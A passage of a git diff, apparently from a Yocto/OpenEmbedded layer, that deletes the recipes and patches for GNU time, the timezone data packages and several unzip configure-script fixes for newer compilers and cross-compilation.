diff --git a/meta/recipes-extended/time/time/0001-Fix-the-type-for-sighandler_t.patch b/meta/recipes-extended/time/time/0001-Fix-the-type-for-sighandler_t.patch
deleted file mode 100644
index 0f8bf6e03e..0000000000
--- a/meta/recipes-extended/time/time/0001-Fix-the-type-for-sighandler_t.patch
+++ /dev/null
@@ -1,27 +0,0 @@
1From cfef684e2c2c93c4a871d6c2a7af8f4c1b7c6741 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Tue, 18 Mar 2025 09:29:58 -0700
4Subject: [PATCH] Fix the type for sighandler_t
5
6__sighandler_t is private interface in glibc so its
7better to not use it, as an aside fixes build with musl
8
9Upstream-Status: Submitted [https://lists.gnu.org/archive/html/bug-time/2025-03/msg00000.html]
10Signed-off-by: Khem Raj <raj.khem@gmail.com>
11---
12 src/time.c | 2 +-
13 1 file changed, 1 insertion(+), 1 deletion(-)
14
15diff --git a/src/time.c b/src/time.c
16index 7ff29a4..82eb66a 100644
17--- a/src/time.c
18+++ b/src/time.c
19@@ -728,7 +728,7 @@ run_command (cmd, resp)
20 RESUSE *resp;
21 {
22 pid_t pid; /* Pid of child. */
23- __sighandler_t interrupt_signal, quit_signal;
24+ sighandler_t interrupt_signal, quit_signal;
25 int saved_errno;
26
27 resuse_start (resp);
diff --git a/meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch b/meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch
deleted file mode 100644
index f6ea212667..0000000000
--- a/meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch
+++ /dev/null
@@ -1,27 +0,0 @@
1From c8deae54f92d636878097063b411af9fb5262ad3 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Mon, 15 Aug 2022 07:24:24 -0700
4Subject: [PATCH] include string.h for memset()
5
6Fixes implicit function declaration warning e.g.
7
8resuse.c:103:3: error: call to undeclared library function 'memset' with type 'void *(void *, int, unsigned long)'
9
10Upstream-Status: Submitted [https://lists.gnu.org/archive/html/bug-time/2022-08/msg00001.html]
11Signed-off-by: Khem Raj <raj.khem@gmail.com>
12---
13 src/resuse.c | 1 +
14 1 file changed, 1 insertion(+)
15
16diff --git a/src/resuse.c b/src/resuse.c
17index cf5a08c..9d3d18a 100644
18--- a/src/resuse.c
19+++ b/src/resuse.c
20@@ -22,6 +22,7 @@
21 */
22
23 #include "config.h"
24+#include <string.h>
25 #include <sys/time.h>
26 #include <sys/wait.h>
27 #include <sys/resource.h>
diff --git a/meta/recipes-extended/time/time/time-1.9-Fix-compiling-with-GCC15.patch b/meta/recipes-extended/time/time/time-1.9-Fix-compiling-with-GCC15.patch
deleted file mode 100644
index 76141aec18..0000000000
--- a/meta/recipes-extended/time/time/time-1.9-Fix-compiling-with-GCC15.patch
+++ /dev/null
@@ -1,33 +0,0 @@
1From 831194f0be7733c99c7a2c69d9e9695b82e05010 Mon Sep 17 00:00:00 2001
2From: =?UTF-8?q?Ond=C5=99ej=20Poho=C5=99elsk=C3=BD?= <opohorel@redhat.com>
3Date: Thu, 30 Jan 2025 08:48:47 +0100
4Subject: [PATCH] time: fix compiling with GCC15
5MIME-Version: 1.0
6Content-Type: text/plain; charset=UTF-8
7Content-Transfer-Encoding: 8bit
8
9GCC15 complains about incompatible pointer type in run_command()
10Initialize interrupt_signal and quit_signal with correct type
11
12Upstream-Status: Submitted [https://lists.gnu.org/archive/html/bug-time/2025-01/msg00000.html]
13Signed-off-by: Ondřej Pohořelský <opohorel@redhat.com>
14---
15 src/time.c | 2 +-
16 1 file changed, 1 insertion(+), 1 deletion(-)
17
18diff --git a/src/time.c b/src/time.c
19index 7b401bc..c8d7ab0 100644
20--- a/src/time.c
21+++ b/src/time.c
22@@ -803,7 +803,7 @@ run_command (cmd, resp)
23 RESUSE *resp;
24 {
25 pid_t pid; /* Pid of child. */
26- sighandler interrupt_signal, quit_signal;
27+ __sighandler_t interrupt_signal, quit_signal;
28 int saved_errno;
29
30 resuse_start (resp);
31--
322.48.1
33
diff --git a/meta/recipes-extended/time/time_1.9.bb b/meta/recipes-extended/time/time_1.9.bb
deleted file mode 100644
index d6d8aa6e1e..0000000000
--- a/meta/recipes-extended/time/time_1.9.bb
+++ /dev/null
@@ -1,29 +0,0 @@
1SUMMARY = "Tool that measures CPU resources"
2DESCRIPTION = "time measures many of the CPU resources, such as time and \
3memory, that other programs use."
4HOMEPAGE = "http://www.gnu.org/software/time/"
5SECTION = "utils"
6LICENSE = "GPL-3.0-only"
7LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
8
9inherit texinfo update-alternatives
10
11ALTERNATIVE:${PN} = "time"
12ALTERNATIVE_PRIORITY = "100"
13
14BBCLASSEXTEND = "native nativesdk"
15
16SRC_URI = "${GNU_MIRROR}/time/time-${PV}.tar.gz \
17 file://0001-include-string.h-for-memset.patch \
18 file://time-1.9-Fix-compiling-with-GCC15.patch \
19 file://0001-Fix-the-type-for-sighandler_t.patch \
20 "
21
22SRC_URI[sha256sum] = "fbacf0c81e62429df3e33bda4cee38756604f18e01d977338e23306a3e3b521e"
23
24inherit autotools
25
26# Submitted fix: https://lists.gnu.org/archive/html/bug-time/2021-01/msg00000.html
27do_configure:prepend () {
28 [ ! -e ${S}/.tarball-version ] && echo ${PV} > ${S}/.tarball-version
29}
diff --git a/meta/recipes-extended/timezone/timezone.inc b/meta/recipes-extended/timezone/timezone.inc
deleted file mode 100644
index 9a5105ffd7..0000000000
--- a/meta/recipes-extended/timezone/timezone.inc
+++ /dev/null
@@ -1,20 +0,0 @@
1SUMMARY = "Timezone data"
2DESCRIPTION = "The Time Zone Database contains code and data that represent \
3the history of local time for many representative locations around the globe."
4HOMEPAGE = "http://www.iana.org/time-zones"
5SECTION = "base"
6LICENSE = "PD & BSD-3-Clause"
7LIC_FILES_CHKSUM = "file://LICENSE;md5=c679c9d6b02bc2757b3eaf8f53c43fba"
8
9PV = "2025b"
10
11SRC_URI = "http://www.iana.org/time-zones/repository/releases/tzcode${PV}.tar.gz;name=tzcode;subdir=tz \
12 http://www.iana.org/time-zones/repository/releases/tzdata${PV}.tar.gz;name=tzdata;subdir=tz \
13 "
14
15S = "${UNPACKDIR}/tz"
16
17UPSTREAM_CHECK_URI = "http://www.iana.org/time-zones"
18
19SRC_URI[tzcode.sha256sum] = "05f8fedb3525ee70d49c87d3fae78a8a0dbae4fe87aa565c65cda9948ae135ec"
20SRC_URI[tzdata.sha256sum] = "11810413345fc7805017e27ea9fa4885fd74cd61b2911711ad038f5d28d71474"
diff --git a/meta/recipes-extended/timezone/tzcode-native.bb b/meta/recipes-extended/timezone/tzcode-native.bb
deleted file mode 100644
index dc9f076377..0000000000
--- a/meta/recipes-extended/timezone/tzcode-native.bb
+++ /dev/null
@@ -1,14 +0,0 @@
1require timezone.inc
2
3SUMMARY = "tzcode, timezone zoneinfo utils -- zic, zdump, tzselect"
4
5inherit native
6
7EXTRA_OEMAKE += "CC='${CC}'"
8
9do_install () {
10 install -d ${D}${bindir}/
11 install -m 755 zic ${D}${bindir}/
12 install -m 755 zdump ${D}${bindir}/
13 install -m 755 tzselect ${D}${bindir}/
14}
diff --git a/meta/recipes-extended/timezone/tzdata.bb b/meta/recipes-extended/timezone/tzdata.bb
deleted file mode 100644
index 2099b05db8..0000000000
--- a/meta/recipes-extended/timezone/tzdata.bb
+++ /dev/null
@@ -1,207 +0,0 @@
1require timezone.inc
2
3DEPENDS = "tzcode-native"
4
5inherit allarch
6
7DEFAULT_TIMEZONE ?= "Universal"
8INSTALL_TIMEZONE_FILE ?= "1"
9
10TZONES = " \
11 africa antarctica asia australasia europe northamerica southamerica \
12 factory etcetera backward \
13"
14
15# "slim" is the default since 2020b
16# "fat" is needed by e.g. MariaDB's mysql_tzinfo_to_sql
17ZIC_FMT ?= "slim"
18
19do_configure[cleandirs] = "${B}"
20B = "${WORKDIR}/build"
21
22do_compile() {
23 oe_runmake -C ${S} tzdata.zi
24 for zone in ${TZONES}; do
25 ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${B}/zoneinfo -L /dev/null ${S}/${zone}
26 ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${B}/zoneinfo/posix -L /dev/null ${S}/${zone}
27 ${STAGING_BINDIR_NATIVE}/zic -b ${ZIC_FMT} -d ${B}/zoneinfo/right -L ${S}/leapseconds ${S}/${zone}
28 done
29}
30
31do_install() {
32 install -d ${D}${datadir}/zoneinfo
33 cp -pPR ${B}/zoneinfo/* ${D}${datadir}/zoneinfo
34
35 # libc is removing zoneinfo files from package
36 cp -pP "${S}/zone.tab" ${D}${datadir}/zoneinfo
37 cp -pP "${S}/zone1970.tab" ${D}${datadir}/zoneinfo
38 cp -pP "${S}/iso3166.tab" ${D}${datadir}/zoneinfo
39 cp -pP "${S}/leapseconds" ${D}${datadir}/zoneinfo
40 cp -pP "${S}/leap-seconds.list" ${D}${datadir}/zoneinfo
41 cp -pP "${S}/tzdata.zi" ${D}${datadir}/zoneinfo
42
43 # Install default timezone
44 if [ -e ${D}${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ]; then
45 install -d ${D}${sysconfdir}
46 if [ "${INSTALL_TIMEZONE_FILE}" = "1" ]; then
47 echo ${DEFAULT_TIMEZONE} > ${D}${sysconfdir}/timezone
48 fi
49 ln -s ${datadir}/zoneinfo/${DEFAULT_TIMEZONE} ${D}${sysconfdir}/localtime
50 else
51 bberror "DEFAULT_TIMEZONE is set to an invalid value."
52 exit 1
53 fi
54
55 chown -R root:root ${D}
56}
57
58pkg_postinst:${PN}() {
59 etc_lt="$D${sysconfdir}/localtime"
60 src="$D${sysconfdir}/timezone"
61
62 if [ -e "$src" ]; then
63 tz=$(sed -e 's:#.*::' -e 's:[[:space:]]*::g' -e '/^$/d' "$src")
64 fi
65
66 if [ ! -z "$tz" -a ! -e "$D${datadir}/zoneinfo/$tz" ]; then
67 echo "You have an invalid TIMEZONE setting in $src"
68 echo "Your $etc_lt has been reset to Universal; enjoy!"
69 tz="Universal"
70 echo "Updating $etc_lt with $D${datadir}/zoneinfo/$tz"
71 if [ -L "$etc_lt" ]; then
72 rm -f "$etc_lt"
73 fi
74 ln -s "${datadir}/zoneinfo/$tz" "$etc_lt"
75 fi
76}
77
78# Packages are primarily organized by directory with a major city in most time
79# zones in the base package
80TZ_PACKAGES = " \
81 tzdata-core tzdata-misc tzdata-posix tzdata-right tzdata-africa \
82 tzdata-americas tzdata-antarctica tzdata-arctic tzdata-asia \
83 tzdata-atlantic tzdata-australia tzdata-europe tzdata-pacific \
84"
85PACKAGES = "${TZ_PACKAGES} ${PN}"
86
87FILES:tzdata-africa += "${datadir}/zoneinfo/Africa"
88
89FILES:tzdata-americas += " \
90 ${datadir}/zoneinfo/America \
91 ${datadir}/zoneinfo/US \
92 ${datadir}/zoneinfo/Brazil \
93 ${datadir}/zoneinfo/Canada \
94 ${datadir}/zoneinfo/Mexico \
95 ${datadir}/zoneinfo/Chile \
96"
97
98FILES:tzdata-antarctica += "${datadir}/zoneinfo/Antarctica"
99
100FILES:tzdata-arctic += "${datadir}/zoneinfo/Arctic"
101
102FILES:tzdata-asia += " \
103 ${datadir}/zoneinfo/Asia \
104 ${datadir}/zoneinfo/Indian \
105 ${datadir}/zoneinfo/Mideast \
106"
107
108FILES:tzdata-atlantic += "${datadir}/zoneinfo/Atlantic"
109
110FILES:tzdata-australia += "${datadir}/zoneinfo/Australia"
111
112FILES:tzdata-europe += "${datadir}/zoneinfo/Europe"
113
114FILES:tzdata-pacific += "${datadir}/zoneinfo/Pacific"
115
116FILES:tzdata-posix += "${datadir}/zoneinfo/posix"
117
118FILES:tzdata-right += "${datadir}/zoneinfo/right"
119
120FILES:tzdata-misc += " \
121 ${datadir}/zoneinfo/Cuba \
122 ${datadir}/zoneinfo/Egypt \
123 ${datadir}/zoneinfo/Eire \
124 ${datadir}/zoneinfo/Factory \
125 ${datadir}/zoneinfo/GB-Eire \
126 ${datadir}/zoneinfo/Hongkong \
127 ${datadir}/zoneinfo/Iceland \
128 ${datadir}/zoneinfo/Iran \
129 ${datadir}/zoneinfo/Israel \
130 ${datadir}/zoneinfo/Jamaica \
131 ${datadir}/zoneinfo/Japan \
132 ${datadir}/zoneinfo/Kwajalein \
133 ${datadir}/zoneinfo/Libya \
134 ${datadir}/zoneinfo/Navajo \
135 ${datadir}/zoneinfo/Poland \
136 ${datadir}/zoneinfo/Portugal \
137 ${datadir}/zoneinfo/Singapore \
138 ${datadir}/zoneinfo/Turkey \
139"
140
141FILES:tzdata-core += " \
142 ${sysconfdir}/localtime \
143 ${sysconfdir}/timezone \
144 ${datadir}/zoneinfo/leapseconds \
145 ${datadir}/zoneinfo/leap-seconds.list \
146 ${datadir}/zoneinfo/tzdata.zi \
147 ${datadir}/zoneinfo/Pacific/Honolulu \
148 ${datadir}/zoneinfo/America/Anchorage \
149 ${datadir}/zoneinfo/America/Los_Angeles \
150 ${datadir}/zoneinfo/America/Denver \
151 ${datadir}/zoneinfo/America/Chicago \
152 ${datadir}/zoneinfo/America/New_York \
153 ${datadir}/zoneinfo/America/Caracas \
154 ${datadir}/zoneinfo/America/Sao_Paulo \
155 ${datadir}/zoneinfo/Europe/London \
156 ${datadir}/zoneinfo/Europe/Paris \
157 ${datadir}/zoneinfo/Africa/Cairo \
158 ${datadir}/zoneinfo/Europe/Moscow \
159 ${datadir}/zoneinfo/Asia/Dubai \
160 ${datadir}/zoneinfo/Asia/Karachi \
161 ${datadir}/zoneinfo/Asia/Dhaka \
162 ${datadir}/zoneinfo/Asia/Bangkok \
163 ${datadir}/zoneinfo/Asia/Hong_Kong \
164 ${datadir}/zoneinfo/Asia/Tokyo \
165 ${datadir}/zoneinfo/Australia/Darwin \
166 ${datadir}/zoneinfo/Australia/Adelaide \
167 ${datadir}/zoneinfo/Australia/Brisbane \
168 ${datadir}/zoneinfo/Australia/Sydney \
169 ${datadir}/zoneinfo/Pacific/Noumea \
170 ${datadir}/zoneinfo/CET \
171 ${datadir}/zoneinfo/CST6CDT \
172 ${datadir}/zoneinfo/EET \
173 ${datadir}/zoneinfo/EST \
174 ${datadir}/zoneinfo/EST5EDT \
175 ${datadir}/zoneinfo/GB \
176 ${datadir}/zoneinfo/GMT \
177 ${datadir}/zoneinfo/GMT+0 \
178 ${datadir}/zoneinfo/GMT-0 \
179 ${datadir}/zoneinfo/GMT0 \
180 ${datadir}/zoneinfo/Greenwich \
181 ${datadir}/zoneinfo/HST \
182 ${datadir}/zoneinfo/MET \
183 ${datadir}/zoneinfo/MST \
184 ${datadir}/zoneinfo/MST7MDT \
185 ${datadir}/zoneinfo/NZ \
186 ${datadir}/zoneinfo/NZ-CHAT \
187 ${datadir}/zoneinfo/PRC \
188 ${datadir}/zoneinfo/PST8PDT \
189 ${datadir}/zoneinfo/ROC \
190 ${datadir}/zoneinfo/ROK \
191 ${datadir}/zoneinfo/UCT \
192 ${datadir}/zoneinfo/UTC \
193 ${datadir}/zoneinfo/Universal \
194 ${datadir}/zoneinfo/W-SU \
195 ${datadir}/zoneinfo/WET \
196 ${datadir}/zoneinfo/Zulu \
197 ${datadir}/zoneinfo/zone.tab \
198 ${datadir}/zoneinfo/zone1970.tab \
199 ${datadir}/zoneinfo/iso3166.tab \
200 ${datadir}/zoneinfo/Etc \
201"
202
203CONFFILES:tzdata-core = "${sysconfdir}/localtime ${sysconfdir}/timezone"
204
205ALLOW_EMPTY:${PN} = "1"
206
207RDEPENDS:${PN} = "${TZ_PACKAGES}"
diff --git a/meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch b/meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch
deleted file mode 100644
index f7e0854cd9..0000000000
--- a/meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch
+++ /dev/null
@@ -1,112 +0,0 @@
1From 5ac5885d35257888d0e4a9dda903405314f9fc84 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Wed, 10 Aug 2022 17:53:13 -0700
4Subject: [PATCH] configure: Add correct system headers and prototypes to tests
5
6Newer compilers e.g. clang-15+ have turned stricter towards these
7warnings and turned them into errors which results in subtle failures
8during build, therefore make the testcases use the needed headers and
9modern C
10
11Upstream-Status: Inactive-Upstream
12
13Signed-off-by: Khem Raj <raj.khem@gmail.com>
14---
15 unix/configure | 51 +++++++++++++++++++++++++++++++++++++++-----------
16 1 file changed, 40 insertions(+), 11 deletions(-)
17
18diff --git a/unix/configure b/unix/configure
19index 49579f3..8fd82dd 100755
20--- a/unix/configure
21+++ b/unix/configure
22@@ -379,14 +379,37 @@ $CC $CFLAGS -c conftest.c >/dev/null 2>/dev/null
23
24 # Check for missing functions
25 # add NO_'function_name' to flags if missing
26-for func in fchmod fchown lchown nl_langinfo
27-do
28- echo Check for $func
29- echo "int main(){ $func(); return 0; }" > conftest.c
30- $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
31- [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
32-done
33+echo Check for fchmod
34+cat > conftest.c << _EOF_
35+#include <sys/stat.h>
36+int main(){ fchmod(0,0); return 0; }
37+_EOF_
38+$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
39+[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_FCHMOD"
40
41+echo Check for fchown
42+cat > conftest.c << _EOF_
43+#include <unistd.h>
44+int main(){ fchown(0,0,0); return 0; }
45+_EOF_
46+$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
47+[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_FCHOWN"
48+
49+echo Check for lchown
50+cat > conftest.c << _EOF_
51+#include <unistd.h>
52+int main(){ lchown(NULL,0,0); return 0; }
53+_EOF_
54+$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
55+[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_LCHOWN"
56+
57+echo Check for nl_langinfo
58+cat > conftest.c << _EOF_
59+#include <langinfo.h>
60+int main(){ nl_langinfo(0); return 0; }
61+_EOF_
62+$CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
63+[ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_NL_LANGINFO"
64 # Check (seriously) for a working lchmod.
65 echo 'Check for lchmod'
66 temp_file="/tmp/unzip_test_$$"
67@@ -401,14 +424,17 @@ ln -s "${temp_link}" "${temp_file}" && \
68 rm -f "${temp_file}"
69
70 echo Check for memset
71-echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
72+cat > conftest.c << _EOF_
73+#include <string.h>
74+int main(){ char k; memset(&k,0,0); return 0; }
75+_EOF_
76 $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
77 [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DZMEM"
78
79 echo Check for errno declaration
80 cat > conftest.c << _EOF_
81 #include <errno.h>
82-main()
83+int main()
84 {
85 errno = 0;
86 return 0;
87@@ -419,6 +445,8 @@ $CC $CFLAGS -c conftest.c >/dev/null 2>/dev/null
88
89 echo Check for directory libraries
90 cat > conftest.c << _EOF_
91+#include <sys/types.h>
92+#include <dirent.h>
93 int main() { return closedir(opendir(".")); }
94 _EOF_
95
96@@ -523,10 +551,11 @@ fi
97 # needed for AIX (and others ?) when mmap is used
98 echo Check for valloc
99 cat > conftest.c << _EOF_
100-main()
101+#include <stdlib.h>
102+int main()
103 {
104 #ifdef MMAP
105- valloc();
106+ valloc(0);
107 #endif
108 }
109 _EOF_
110--
1112.37.1
112
diff --git a/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch b/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch
deleted file mode 100644
index 5a6d1946f6..0000000000
--- a/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch
+++ /dev/null
@@ -1,137 +0,0 @@
1From da29ba6a27d8e78562052c79061476848915eb2a Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Wed, 9 Mar 2022 12:13:28 -0800
4Subject: [PATCH] configure: Pass LDFLAGS to tests doing link step
5
6Ensures that right flags from recipes are honored, otherwise tests fail
7which otherwise should not.
8
9Upstream-Status: Inactive-Upstream
10Signed-off-by: Khem Raj <raj.khem@gmail.com>
11---
12 unix/configure | 28 ++++++++++++++--------------
13 1 file changed, 14 insertions(+), 14 deletions(-)
14
15diff --git a/unix/configure b/unix/configure
16index d4b0a8e..49579f3 100755
17--- a/unix/configure
18+++ b/unix/configure
19@@ -116,7 +116,7 @@ _EOF_
20 # Special Mac OS X shared library "ld" option?
21 if test ` uname -s 2> /dev/null ` = 'Darwin'; then
22 lf='-Wl,-search_paths_first'
23- $CC $CFLAGS $lf conftest.c > /dev/null 2>/dev/null
24+ $CC $CFLAGS $LDFLAGS $lf conftest.c > /dev/null 2>/dev/null
25 if test $? -eq 0; then
26 BZLF=${lf}
27 fi
28@@ -276,7 +276,7 @@ int main()
29 }
30 _EOF_
31 # compile it
32-$CC -o conftest conftest.c >/dev/null 2>/dev/null
33+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
34 if [ $? -ne 0 ]; then
35 echo -- no Large File Support
36 else
37@@ -322,7 +322,7 @@ int main()
38 }
39 _EOF_
40 # compile it
41-$CC -o conftest conftest.c >/dev/null 2>/dev/null
42+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
43 if [ $? -ne 0 ]; then
44 echo "-- no Unicode (wchar_t) support"
45 else
46@@ -383,7 +383,7 @@ for func in fchmod fchown lchown nl_langinfo
47 do
48 echo Check for $func
49 echo "int main(){ $func(); return 0; }" > conftest.c
50- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
51+ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
52 [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
53 done
54
55@@ -395,14 +395,14 @@ temp_link="link_$$"
56 echo "int main() { lchmod(\"${temp_file}\", 0666); }" \
57 ) > conftest.c
58 ln -s "${temp_link}" "${temp_file}" && \
59- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null && \
60+ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null && \
61 ./conftest
62 [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_LCHMOD"
63 rm -f "${temp_file}"
64
65 echo Check for memset
66 echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
67-$CC -o conftest conftest.c >/dev/null 2>/dev/null
68+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
69 [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DZMEM"
70
71 echo Check for errno declaration
72@@ -422,12 +422,12 @@ cat > conftest.c << _EOF_
73 int main() { return closedir(opendir(".")); }
74 _EOF_
75
76-$CC -o conftest conftest.c >/dev/null 2>/dev/null
77+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
78 if [ $? -ne 0 ]; then
79 OPT=""
80 for lib in ndir dir ucb bsd BSD PW x dirent
81 do
82- $CC -o conftest conftest.c -l$lib >/dev/null 2>/dev/null
83+ $CC $CLFAGS $LDFLAGS -o conftest conftest.c -l$lib >/dev/null 2>/dev/null
84 [ $? -eq 0 ] && OPT=-l$lib && break
85 done
86 if [ ${OPT} ]; then
87@@ -440,9 +440,9 @@ fi
88 # Dynix/ptx 1.3 needed this
89 echo Check for readlink
90 echo "int main(){ return readlink(); }" > conftest.c
91-$CC -o conftest conftest.c >/dev/null 2>/dev/null
92+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
93 if [ $? -ne 0 ]; then
94- $CC -o conftest conftest.c -lseq >/dev/null 2>/dev/null
95+ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lseq >/dev/null 2>/dev/null
96 [ $? -eq 0 ] && LFLAGS2="${LFLAGS2} -lseq"
97 fi
98
99@@ -501,7 +501,7 @@ int main()
100 }
101 _EOF_
102 # compile it
103-$CC ${CFLAGS} ${CFLAGSR} -o conftest conftest.c >/dev/null 2>/dev/null
104+$CC ${CFLAGS} ${CFLAGSR} $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
105 if [ $? -ne 0 ]; then
106 echo "-- no MBCS support"
107 CFLAGSR="${CFLAGSR} -DNO_MBCS"
108@@ -515,7 +515,7 @@ else
109 do
110 echo Check for MBCS $func
111 echo "int main() { $func(); return 0; }" > conftest.c
112- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
113+ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
114 [ $? -eq 0 ] && CFLAGSR="${CFLAGSR} -D`echo $func | tr '[a-z]' '[A-Z]'`=$func"
115 done
116 fi
117@@ -557,7 +557,7 @@ elif [ -f /xenix ]; then
118 elif uname -X >/dev/null 2>/dev/null; then
119 # SCO shared library check
120 echo "int main() { return 0;}" > conftest.c
121- $CC -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
122+ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
123 [ $? -eq 0 ] && LFLAGS2="-lc_s -nointl"
124 else
125 SYSTEM=`uname -s 2>/dev/null` || SYSTEM="unknown"
126@@ -565,7 +565,7 @@ else
127 case $SYSTEM in
128 OSF1|ULTRIX)
129 echo Check for -Olimit option
130- $CC ${CFLAGS} -Olimit 1000 -o conftest conftest.c >/dev/null 2>/dev/null
131+ $CC ${CFLAGS} ${LDFLAGS} -Olimit 1000 -o conftest conftest.c >/dev/null 2>/dev/null
132 [ $? -eq 0 ] && CFLAGSR="${CFLAGSR} -Olimit 1000"
133 ;;
134 ### HP-UX)
135--
1362.35.1
137
diff --git a/meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch b/meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch
deleted file mode 100644
index 2fa7f481b7..0000000000
--- a/meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch
+++ /dev/null
@@ -1,103 +0,0 @@
1From 5cbf901b5c3b6a7d1d0ed91b6df4194bb6d25a40 Mon Sep 17 00:00:00 2001
2From: Chen Qi <Qi.Chen@windriver.com>
3Date: Thu, 15 Jun 2023 07:14:17 -0700
4Subject: [PATCH] unix/configure: fix detection for cross compilation
5
6We're doing cross compilation, running a cross-compiled problem
7on host to detemine feature is not correct. So we change runtime
8check into compile-time check to detect the features.
9
10Upstream-Status: Inactive-Upstream
11
12Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
13---
14 unix/configure | 44 +++++++++++++++-----------------------------
15 1 file changed, 15 insertions(+), 29 deletions(-)
16
17diff --git a/unix/configure b/unix/configure
18index 8fd82dd..68dee98 100755
19--- a/unix/configure
20+++ b/unix/configure
21@@ -259,6 +259,10 @@ cat > conftest.c << _EOF_
22 #include <sys/stat.h>
23 #include <unistd.h>
24 #include <stdio.h>
25+
26+_Static_assert(sizeof(off_t) < 8, "sizeof off_t < 8 failed");
27+_Static_assert(sizeof((struct stat){0}.st_size) < 8, "sizeof st_size < 8 failed");
28+
29 int main()
30 {
31 off_t offset;
32@@ -278,21 +282,10 @@ _EOF_
33 # compile it
34 $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
35 if [ $? -ne 0 ]; then
36- echo -- no Large File Support
37+ echo -- yes we have Large File Support!
38+ CFLAGSR="${CFLAGSR} -DLARGE_FILE_SUPPORT"
39 else
40-# run it
41- ./conftest
42- r=$?
43- if [ $r -eq 1 ]; then
44- echo -- no Large File Support - no 64-bit off_t
45- elif [ $r -eq 2 ]; then
46- echo -- no Large File Support - no 64-bit stat
47- elif [ $r -eq 3 ]; then
48- echo -- yes we have Large File Support!
49- CFLAGSR="${CFLAGSR} -DLARGE_FILE_SUPPORT"
50- else
51- echo -- no Large File Support - conftest returned $r
52- fi
53+ echo -- no Large File Support
54 fi
55
56 # Added 11/24/2005 EG
57@@ -302,6 +295,11 @@ cat > conftest.c << _EOF_
58 #include <stdlib.h>
59 #include <stdio.h>
60 #include <wchar.h>
61+
62+#ifndef __STDC_ISO_10646__
63+#error "__STDC_ISO_10646__ not defined
64+#endif
65+
66 int main()
67 {
68 size_t wsize;
69@@ -327,19 +325,8 @@ if [ $? -ne 0 ]; then
70 echo "-- no Unicode (wchar_t) support"
71 else
72 # have wide char support
73-# run it
74- ./conftest
75- r=$?
76- if [ $r -eq 0 ]; then
77- echo -- no Unicode wchar_t support - wchar_t allocation error
78- elif [ $r -eq 1 ]; then
79- echo -- no Unicode support - wchar_t encoding unspecified
80- elif [ $r -eq 2 ]; then
81- echo -- have wchar_t with known UCS encoding - enabling Unicode support!
82- CFLAGSR="${CFLAGSR} -DUNICODE_SUPPORT -DUNICODE_WCHAR"
83- else
84- echo "-- no Unicode (wchar_t) support - conftest returned $r"
85- fi
86+ echo -- have wchar_t with known UCS encoding - enabling Unicode support!
87+ CFLAGSR="${CFLAGSR} -DUNICODE_SUPPORT -DUNICODE_WCHAR"
88 fi
89
